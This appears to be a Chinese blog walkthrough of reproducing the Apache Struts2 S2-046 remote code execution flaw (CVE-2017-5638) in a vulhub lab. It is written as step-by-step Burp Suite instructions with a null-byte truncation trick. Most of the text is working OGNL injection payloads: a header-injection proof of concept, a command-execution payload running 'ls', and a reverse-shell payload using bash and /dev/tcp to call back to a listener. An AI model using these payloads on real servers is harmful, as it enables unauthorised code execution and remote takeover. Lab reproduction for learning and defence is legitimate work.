《大雨还在下》--高夫,MV非常有魅力,那慢摇的动作,wc,我什么时候可以这么帅,淦
靶机:CentOS Linux 7
攻击机:windows server 2016 && Kail
环境:vulhub
工具:burpsuite
项目地址:https://github.com/vulhub/vulhub
搭建vulhub请访问:空白centos7 64 搭建vulhub(详细)
This is a different vector for the same vulnerability described in S2-045 (CVE-2017-5638).
相同的漏洞,不同的向量。和S2-045一样原理,利用的字段和方式有点区别
影响版本:Struts 2.3.5 - Struts 2.3.31, Struts 2.5 - Struts 2.5.10
打开靶场-burpsuite抓包
POC:
%{#context['com.opensymphony.xwork2.dispatcher.HttpServletResponse'].addHeader('X-Test',1+99)}\xb
最后b之前00截断
使用burpsuite进行00截断
b之前点击一下空格,选中空格
20改成00
发送到repeater发送
POC2:
%{(#nike='multipart/form-data').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='ls').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}b
操作同上
POC:注意IP和port要更改为监听主机的IP和port
%{(#nike='multipart/form-data').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='bash -i >& /dev/tcp/ip/port 0>&1').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}b
b之前00截断,操作同上
先打开监听
然后burpsuite发送修改后的数据包
监听成功
略
工具地址:https://github.com/Liqunkit/LiqunKit_
S2-046 远程代码执行漏洞(CVE-2017-5638)
S2-046分析(CVE-2017-5638)
S2-046 远程代码执行漏洞(CVE-2017-5638)